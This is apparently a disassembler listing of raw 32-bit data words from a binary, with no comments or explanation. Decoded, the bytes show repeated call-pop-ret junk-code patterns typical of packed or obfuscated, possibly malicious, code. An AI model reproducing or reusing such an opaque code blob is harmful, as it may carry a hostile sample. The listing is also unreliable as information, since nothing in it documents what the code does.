dd 7C895FC3h, 44810424h, 160424h, 57470000h, 587421C3h
dd 30658D89h, 50FC07E0h, 0CCA0A8BFh, 24048901h, 0B9CFCDBFh
dd 35FF647Dh, 0
aInRDi db '‰',9,9,'à',7,'d‰%',0
align 4
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0D1015957h, 0B3A39FAh, 89515768h, 0E0345D9Dh
dd 0FF5B5B07h, 0E020FD85h, 79958907h, 6A07E02Ah, 52006AFFh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0C58D67F9h, 0AEFF6E19h, 8B66555Ch, 0DDB5FFD9h, 0F507E020h
dd 338995FFh, 19E907E0h, 29000001h, 0E0208595h, 8900B007h
dd 0E026518Dh, 8170E607h, 3B1BDCD7h, 0F71E47Dh, 0C80h
dd 68B0F00h, 8B000000h, 0E000D9BDh, 0F613C07h, 0E783h
dd 0B19D8B00h, 0F07E005h, 0AE9C8B6h, 0B000000h, 85B1218Dh
dd 0FBBDF06Ch, 6BA66h, 95890000h, 7E00DF9h, 0E860C18Bh
dd 9, 0BFA4B4B5h, 0DA2375ACh, 0F08B66BFh, 0A5B96658h, 0E8C1612Ch
dd 2DBB6604h, 81666091h, 89ACA0D3h, 0E021E185h, 0F7666107h
dd 519D8BE2h, 2B07E02Ch, 0C38166C8h, 0D18BCC39h, 130D8529h
dd 5E907E0h, 0BF000000h, 509981E9h, 8B1858Bh, 8D0907E0h
dd 7E02D2Dh, 8907C083h, 0E031859Dh, 0C08307h, 108D9D89h
dd 0D03B07E0h, 7830Fh, 49E90000h, 0B7000000h, 1D8D8B71h
dd 0F07E01Bh, 481h, 61605700h, 68A0F5Bh, 33000000h, 0E02B6D9Dh
dd 1E18307h, 22840Fh, 9D030000h, 7E010C1h, 1B1DA583h, 66FE07E0h
dd 89FE98BBh, 0E008B195h, 0F2D78107h, 0E9325B12h, 0
dd 1741B58Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 8B310EC3h, 94FD70AEh, 800F86F8h
dd 6, 11F1BD8Bh, 9D8B07E0h, 7E01D39h, 0FFF8006Ah, 0E018A995h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 78DC19B3h, 1DBD03CCh, 8907E01Dh, 0E01AE5B5h
dd 8A2B907h, 82BB0000h, 831F283Ch, 6AFCE1h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9D89C6C3h
dd 94D8276Dh, 0EDBD8B15h, 0FC07E02Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0D0C35040h, 0BD8B51F7h, 7E03199h
dd 6860F5Bh, 8B000000h, 0E015819Dh, 0D59D2B07h, 0B807E031h
dd 0
dd 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 0C0D249C3h, 120AACDEh, 33ADC28Dh, 3E8D1C2h
dd 4E983D0h, 0BD03F475h, 7E00661h, 880Dh, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0AC22A18Ah, 5287B46Eh, 0CD9D8B90h, 8B07E033h, 0E0181595h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 9560EC43h, 7575B66Bh, 5E972h, 0E61F0000h
dd 89E53226h, 0E02E2D8Dh, 498D8B07h, 8B07E020h, 0C28B50FBh
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0D879C357h, 9593B2A6h, 0BD8B54DCh, 7E03455h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B2C35343h, 62A14A4Dh
dd 0FAB37DD3h, 1800Fh, 29FC0000h, 0E0088DBDh, 0F5BD8307h
dd 7E012h, 8A840Fh, 95890000h, 7E01DADh, 0B8FCh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 3C70E7C3h, 66B69EE3h, 7CD3EF81h, 4EE88D8Dh, 6A07E0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0E99D87C3h, 12h, 7EDF5284h, 0E5D8CE2Fh, 0C31278F2h
dd 737A608Bh, 0C3818490h, 18A45130h, 11E9E1FFh, 78000000h
dd 16FB0D2Ch, 7441CB3Bh, 0FB6E5D38h, 0E2BE23F9h, 22C5BD83h
dd 0F0007E0h, 4D284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 897A56E3h, 0C5BD8319h
dd 107E022h, 4C0840Fh, 83F80000h, 0E022C5BDh, 860F0307h
dd 47Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0C8C35646h, 8654FC81h, 75958960h, 8907E034h, 0E0193185h
dd 850F6107h, 0Bh, 6E9h, 63CCA800h, 603594B8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DAC35646h, 75AF147Ch
dd 66FCDEA4h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0B5419AC3h, 0BD8B388Fh, 7E00855h
dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 6580C353h, 76F93479h, 0FC90A3Ch
dd 18A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 747FEBE6h, 21B509CEh, 8B07E00Eh
dd 0E01B759Dh, 99858B07h, 3107E033h, 0E01689BDh, 89853307h
dd 6A07E031h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 5245C350h, 91323AD6h, 812F957Ch
dd 826B32CBh, 50605057h, 12E852h, 0D24B0000h, 8DDA395Ah
dd 0CAB3CDFAh, 4BB03B65h, 0EC02F2D7h, 50310F5Fh, 5A310F52h
dd 0F585A58h, 583h, 0F84ABA00h, 89616BC9h, 6A2404h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0BEC291C3h, 0F99A6AF3h, 9D8BD6ECh, 7E01A01h, 0BD09006Ah
dd 7E01911h, 4E8h, 1F03FF00h, 10E900h, 0B18D0000h, 75F730B9h
dd 55EDC8FCh, 88082B2Eh, 6650786Eh, 448BDF8Bh, 83B30424h
dd 0BB66008Bh, 4489FABEh, 0F88B0424h, 558D0958h, 0FF07E014h
dd 0E021CD95h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0BB66E475h, 8589FEDAh
dd 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0C2C35141h, 41D9F56Bh, 2810Fh, 95B30000h, 0C9E95AB3h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0FB60C353h, 999D8BFBh, 8B07E00Fh
dd 0E3CBA585h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 9401D2B0h, 7D8D31ECh
dd 0C707E004h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 3BC27CA8h, 0E0BF48C7h
dd 0BB66C531h, 0B58B1C06h, 7E3CBA9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0C8C35040h, 8E9E0h, 8AC80000h
dd 98331175h, 0BD8B73B8h, 7E01571h, 5F9858Bh, 816607E0h
dd 89CABCCBh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 8B0E6854h, 0E0339985h, 0AD9D8B07h
dd 8907E02Dh, 0EB810446h, 1F52EE70h, 4890F50h, 66000000h
dd 89ADADBBh, 9D8B2434h, 7E02129h, 85896060h, 7E01011h
dd 68B0F61h, 0F000000h, 83h, 0B5FF6100h, 7E3CBA5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0ABC35040h, 0A79C2721h
dd 68CAB35Eh, 0B6EF48C6h, 48D0F60h, 66000000h, 0E92CF5BEh
dd 14h, 0B06746F0h, 0BED227C7h, 94733E83h, 0B9B1346h, 0CEB9772Bh
dd 24048161h, 492FBB39h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 1EC35646h, 673CD488h, 2D7DDD96h, 0AD858DAEh
dd 6607E3CBh, 0CFD0EF81h, 3692BB50h, 4892B31h, 698D0924h
dd 8907E008h, 0E01B09BDh, 0CD95FF07h, 0BF07E021h, 1359A8A4h
dd 0B59D8B61h, 0C707E015h, 0E022C585h, 307h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 54A7423Eh, 293125C3h, 0E0063995h, 0ADBD8307h, 7E3CBh
dd 4E840Fh, 0FE90000h, 0DF000000h, 34538A76h, 6630C2DBh
dd 0F96735B3h, 50E9A777h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E81CC351h
dd 2935BD29h, 0BD8B07E0h, 7E0129Dh, 6860Fh, 0BD8B0000h
dd 7E005A5h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 6090C352h, 18F69FC9h, 1519CF3h
dd 0E0306DB5h, 0BD835B07h, 7E022C5h, 0F2850F03h, 6A000003h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 6DC6C355h, 0BD830FA2h, 7E3CBADh, 0C6840F00h
dd 66000003h, 0FFC4D8BFh, 0E3CBADB5h, 0A995FF07h, 8907E01Dh
dd 0E01C5185h, 0A1B58B07h, 3107E3CBh, 0E0261185h, 106C707h
dd 81000100h, 0DC3B94F3h, 50509662h, 0E9310F52h, 7, 7798089Bh
dd 5A74837Ch, 6A9658h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 84BBB2C3h, 0CBADB5FFh, 6A07E3h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 95DB3DC3h, 52323534h, 0FFF55D2Dh, 0E0301195h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 7BB15F29h, 0BF0F0334h, 59D03FBh, 8907E017h, 0E012F99Dh
dd 0A1B58B07h, 0E907E3CBh, 10h, 7D61A699h, 3E81FA89h, 80272561h
dd 432EFDB2h, 22D1858Bh, 9D8B07E0h, 7E02B29h, 0C48689h
dd 81660000h, 8B578DCFh, 0E0181595h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 344AFE22h
dd 18798589h, 0C28307E0h, 68A0F04h, 29000000h, 0E01FC1BDh
dd 20508907h, 16899D01h, 858D07E0h, 7E3E0D4h, 8689F88Bh
dd 0B8h, 2AA1BD01h, 6A07E0h, 8B66DA8Bh, 0ADB5FFFBh, 6A07E3CBh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0F77AC351h, 89F5CB3Fh, 0E0122995h, 9995FF07h
dd 107E02Ah, 0E031BDBDh, 8B669607h, 8B6650F9h, 0AE996FAh
dd 0D3000000h, 16D9901Eh, 8E5E70F9h, 0ADB5FFC1h, 6A07E3CBh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 1D35C353h, 5A6D0E90h, 8DBD8BF5h, 0FF07E025h
dd 0E028E995h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0B4A933D0h, 0A6017478h
dd 0D4CB8166h, 0F506072h, 84h, 83615F00h, 0E028E1BDh, 840F0007h
dd 75h, 11E8h, 3175AA00h, 0AD5F7540h, 69A43E7Ah, 0FC473DEEh
dd 0BD8B48A2h, 7E01951h, 13E95Bh, 4E820000h, 79A5F166h
dd 8B23F4h, 7E6C4BE7h, 4457EB9Eh, 8A605015h, 0CE8FEh, 22760000h
dd 29C14BBh, 7FDA63E6h, 0CE8B1AADh, 3489615Ah, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0AE28350Ah, 296141BBh, 0ADB5FF3Bh, 6A07E3CBh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 1107C357h, 0FFFCD8CDh, 0E0303595h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0B5891E89h, 7E010C5h, 0FFC8D380h, 0E3CBADB5h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 4ECE8D66h, 38D0F9Ah, 66000000h, 0EE9DF8Bh, 49000000h
dd 58374305h, 35101395h, 0FB609246h, 0B995FFFBh, 0B307E001h
dd 31BD8303h, 207E007h, 5E840Fh, 8B0F0000h, 15h, 10E9h
dd 44656D00h, 5403DB23h, 42A3677Fh, 0BA2A78DAh, 0F5BF514Ch
dd 5F137697h, 2039858Bh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0C9DC18C3h, 0B18D8933h
dd 3307E018h, 0E02FDD9Dh, 0C607h, 659D0956h, 5B07E020h
dd 43D85C7h, 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0BA3FA0C3h, 0F914460Fh
dd 8B362F96h, 0E02FED9Dh, 0F2D5E907h, 8BF8FFFFh, 55006AC1h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0BC68A25Ch, 1D3D3CEAh, 89BFC628h, 8D3455FBh, 0E013C985h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0BF0F8D72h, 0DB350F8h, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 316CC357h, 6A818739h, 0D9BF0F00h, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DD3C8AC3h
dd 29E0845Bh, 0E0264DB5h, 20858D07h, 6607E4A2h, 62D9DF81h
dd 6605C083h, 2699D781h, 89F88A50h, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 28F91EC3h
dd 0B589E142h, 7E02535h, 2810Fh, 5F560000h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 4375CCC3h, 6AF90FA7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 43D4AD69h, 6677E274h
dd 25D59D8Bh, 95FF07E0h, 7E03441h, 0ABA810BBh, 938D8D1Fh
dd 0F07E3A3h, 68Bh, 5B50100h, 0FF07E031h, 0E78166D1h, 0BD8342D3h
dd 7E016B1h, 9D850F01h, 66000000h, 26AFA8Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B8C35545h, 0AD82975Ah
dd 53A3867Fh, 11E97Fh, 0D54C0000h, 53B9D2D8h, 5304E6ADh
dd 0D00F74CEh, 8B4D4E0Bh, 0E00F99BDh, 57529007h, 5F5FDA8Bh
dd 9030B350h, 200D9D8Bh, 95FF07E0h, 7E02A99h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h, 0B2F8B072h
dd 0BD8BEF85h, 7E02A31h, 0CE8h, 2222700h, 0D46F953Ch, 9C45185h
dd 820F21h, 5F000000h, 0D62E9h, 0E800h, 815D0000h, 0E4A22AEDh
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 53CAC985h, 6AFC74h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0F781E5C3h, 25256F0Ch
dd 817111E3h, 0BA847FF7h, 63858D13h, 8907E394h, 0E018B185h
dd 0BB669007h, 8A504F8Fh, 0BF6690F8h, 0FF64A347h, 35h
dd 3D9D2900h, 6407E023h, 2589h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 377A5CC3h
dd 9B619C89h, 0E9BBAB91h, 10h, 0B1F2947Fh, 4948A1B0h, 6C4F38E6h
dd 0F6829602h, 20FD85FFh, 9D0307E0h, 7E01BD5h, 0EF80FF6Ah
dd 5DB5FF3Ch, 0E907E008h, 12h, 0DFEA313Fh, 33202BC6h, 4A11FA79h
dd 9026A47Dh, 95FF9531h, 7E03389h, 100E9h, 6E900h, 70DC0000h
dd 0B8A5B69Bh, 852900B0h, 7E01BF1h, 0E78170E6h, 8886EB7h
dd 0F78171E4h, 2375B2C5h, 830F613Ch, 0D5h, 0F9FBB70Fh
dd 8BC8B60Fh, 0E0135D9Dh, 6BA07h, 8BFC0000h, 0EE9C1h, 6C9E0000h
dd 38961863h, 5BD92F9Fh, 3340FF40h, 2904E8C1h, 0E0238D95h
dd 0DB816607h, 0F7661EFEh, 0FCD88BE2h, 0BF66C82Bh, 0D18BFE16h
dd 1E95F56h, 0FC000000h, 317D858Bh, 9D8B07E0h, 7E0131Dh
dd 0F07C083h, 687h, 58D38100h, 831E83DBh, 0D03B00C0h, 1A830Fh
dd 0BF0F0000h, 5BE9DBh, 0DE90000h, 26000000h, 5995BE8Ch
dd 0EFD354F7h, 75830B53h, 1E018D8Bh, 9D8B07E0h, 7E02899h
dd 0F01E183h, 3484h, 0CE800h, 0C1810000h, 2019DF63h, 91A5D951h
dd 8D893F8Dh, 7E01031h, 1A5835Bh, 0FE07E01Eh, 0D9D9BF66h
dd 317D9589h, 0BD8907E0h, 7E01B75h, 0E9h, 10B58D00h, 6A07E422h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0A4DCC351h, 31872927h, 6A9EC2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h, 0AAA30FDDh
dd 0ADBD8B02h, 0BB07E007h, 370E8E46h, 18A995FFh, 6A07E0h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 9D03F2C3h, 5CB9B72Fh, 0F8000007h, 6AFCE183h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0F920C350h, 0F91BD8Bh, 6AFC07E0h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F067C351h
dd 2B0A26EEh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 97408328h, 1215B68h, 0E030A9B5h
dd 8BD22B07h, 0C233ADF8h, 0D003E8D1h, 7504E983h, 52006AF4h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0F657DD60h, 64C426A0h, 0FFB70FB4h, 14A59589h, 880D07E0h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0FD6AC357h, 8BA5B3D6h, 0E0181595h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 9D8B2E36h, 7E00209h, 20E5BD8Bh, 8D8B07E0h
dd 7E02049h, 28819D09h, 8B5007E0h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0ACC35040h, 0AAFF8A4Ah, 7E5D08C6h, 0C8F0Fh
dd 870F0000h, 6, 23E59529h, 9D8907E0h, 7E00F45h, 836AEF80h
dd 0E012F5BDh, 840F0007h, 41h, 8E9h, 88982300h, 1066BF1Eh
dd 0FD9D890Eh, 0B807E01Fh, 0
dd 1525B9BBh, 8D8DFC24h, 7E04EE8h, 0F4F838BBh, 69BD8B69h
dd 0FF07E02Fh, 0F1B529E1h, 0F07E00Dh, 481h, 0A9BF6600h
dd 0C5BD83EBh, 7E022h, 44C840Fh, 83F50000h, 0E022C5BDh
dd 840F0107h, 459h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 48C35646h, 5C51CD80h, 27CC0C06h, 22C5BD83h
dd 0F0307E0h, 3F286h, 918D8900h, 6007E000h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FEC35747h, 0DE99A394h
dd 66FE8B66h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0FEC60C3h, 0E8A7ECD8h, 0Ah, 5263DE41h
dd 28448C54h, 8166A3E7h, 5F6A35F3h, 0E804E180h, 0Dh, 8BDF051Dh
dd 0BEF5BE6Ch, 9C4B37DCh, 13E8ABh, 9A620000h, 0F8638C01h
dd 0F782716Fh, 70A5FED7h, 355E596Ah, 346CBF24h, 5F5B5645h
dd 840FC90Ah, 104h, 99858BF8h, 6A07E033h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B450C351h
dd 0A577B7D1h, 8166BCAFh, 334B55DFh, 0E0318985h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 3F7E6F5Fh, 9D8956C8h, 7E00641h, 0FA8B6650h, 0F240489h
dd 58Bh, 0F3816600h, 6ABB6Ch, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0D9C35545h, 9DD7ECE8h, 6880F60h
dd 89000000h, 0E02AA19Dh, 0F1B70F07h, 0B0A96861h, 860FB845h
dd 4, 5F616056h, 56240481h, 6A47D953h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0B0ABC355h
dd 7E075EDBh, 95BD8B87h, 0FF07E033h, 0E021CD95h, 0FFB70F07h
dd 0CBAD8589h, 8D8907E3h, 7E01BF9h, 46F38166h, 1D7E92Eh
dd 95290000h, 7E03031h, 0CBA5858Bh, 9D8907E3h, 7E01A61h
dd 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 8B0F2EC3h, 0Eh, 0A19D8960h, 8907E005h
dd 0E012099Dh, 0B58B6107h, 7E3CBA9h, 858BDC8Ah, 7E005F9h
dd 689FE8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 6EC35646h, 0FE823h, 0C7A30000h, 565A01A0h, 2EF7E3A3h
dd 0DA3AAEF5h, 7D9589C0h, 5F07E015h, 9D016060h, 7E03469h
dd 1A49958Bh, 36107E0h, 0E022ED8Dh, 858B6107h, 7E03399h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h
dd 35850079h, 8952A899h, 0E004699Dh, 46895F07h, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 317D19F2h, 52F0BF58h, 3335BD8Bh, 965F07E0h, 2D6FBB66h
dd 0DF8B6650h, 0FE996h, 97AD0000h, 2DB35EAFh, 0E1931E14h
dd 692D6632h, 0A5B5FFC5h, 6A07E3CBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6ED7C352h
dd 7B7E93ADh, 0CAF2AFBBh, 5E8h, 0CEE1D700h, 8D897A3Ah
dd 7E001DDh, 0B287685Fh, 0FA8B6413h, 78243481h, 6A640CB1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 2683C352h, 321C6575h, 0F90EFC53h, 2C959D8Bh
dd 858D07E0h, 7E3CBADh, 0BFCF8166h, 8B5650B1h, 4895FD8h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0D65A81FEh, 12899D8Bh, 95FF07E0h, 7E021CDh
dd 0DF8B61F8h, 22C585C7h, 307E0h, 83F90000h, 0E3CBADBDh
dd 840F0007h, 63h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 4FC35141h, 0E8511C08h, 0Ch, 78BC7679h
dd 16FB0D2Ch, 7441CB3Bh, 0E95B5BF5h, 46h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 41841A64h
dd 0BA479BFFh, 1DB589C7h, 5007E02Eh, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 7E00E01h, 2CAD9D89h
dd 0BD8307E0h, 7E022C5h, 4A850F03h, 6A000004h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 8FF1C350h, 0FCB48D44h, 0D9858999h, 8307E022h, 0E3CBADBDh
dd 840F0007h, 415h, 239DBD2Bh, 0BD8907E0h, 7E018B9h, 0CBADB5FFh
dd 8D8907E3h, 7E000B1h, 1DA995FFh, 9D0B07E0h, 7E01DB9h
dd 0CBA1B58Bh, 6A07E3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 486A09C3h, 78E4B648h, 66A5AF84h
dd 125ACF81h, 106C7h, 60600001h, 339D9D23h, 8D8907E0h
dd 7E00739h, 28F0F61h, 8B000000h, 0B35061D7h, 24348970h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 78C35242h
dd 2D63EF23h, 0ADB5FF04h, 6A07E3CBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 700CC356h
dd 0F16911EBh, 0DAB70F26h, 2D259D8Bh, 95FF07E0h, 7E03011h
dd 16819589h, 0B58B07E0h, 7E3CBA1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0B0C35343h, 9AEA8A67h, 2DB6B379h
dd 9E9F9h, 0A880000h, 0EE31FBE6h, 817BA155h, 0AEFD1EFh
dd 0D1858B5Eh, 6607E022h, 0C667EF81h, 8689D88Bh, 0C4h
dd 11E8h, 91AC1B00h, 0BBEEBFD6h, 1C7007D0h, 887B356Fh
dd 9D23778Bh, 7E0062Dh, 15958B5Bh, 8107E018h, 308B48CBh
dd 4C2836Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0B6C35343h, 0B72C9A4Fh, 0AB7D7B68h, 20508907h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0AC35141h
dd 31CEE6B7h, 0D4858D4Bh, 8907E3E0h, 0B886h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0A9EB6847h, 9D8B006Ah, 7E00445h, 0CBADB5FFh, 6A07E3h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0ABABE1C3h, 9A51E3E5h, 1BEDBD8Bh, 852907E0h, 7E01921h
dd 2A9995FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0E8FED0C3h, 0A02996DBh, 26D19D23h
dd 805107E0h, 965FFDF7h, 22D6BF53h, 505F7A0Fh, 2CBB5250h
dd 0F4373CEh, 13E931h, 3DEC0000h, 35A07B4Dh, 0BCB8BBD6h
dd 9C3FB2DAh, 97F28A5Fh, 96585AEAh, 0A2ED8060h, 3361F08Bh
dd 0E031A1BDh, 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B989C352h
dd 7BFC4E98h, 0EF816651h, 0BD8BFBD2h, 7E02F91h, 95FF13B7h
dd 7E028E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 3CC35141h, 0BD837C2Fh, 7E028E1h, 38840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 655C357h, 19659D8Bh
dd 9D8B07E0h, 7E0078Dh, 6DD7BB50h, 34895ADDh, 99BD3324h
dd 0FF07E01Ah, 0E3CBADB5h, 0BD9D8B07h, 0FF07E030h, 0E0303595h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 22024028h, 9ED78166h, 0ADB5FFB8h, 6A07E3CBh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 3CADC357h, 4A55610Eh, 2161BD8Bh, 95FF07E0h
dd 7E001B9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0E7C35040h, 0CE4B396Dh, 9529887Ch, 7E02FA5h, 731BD83h
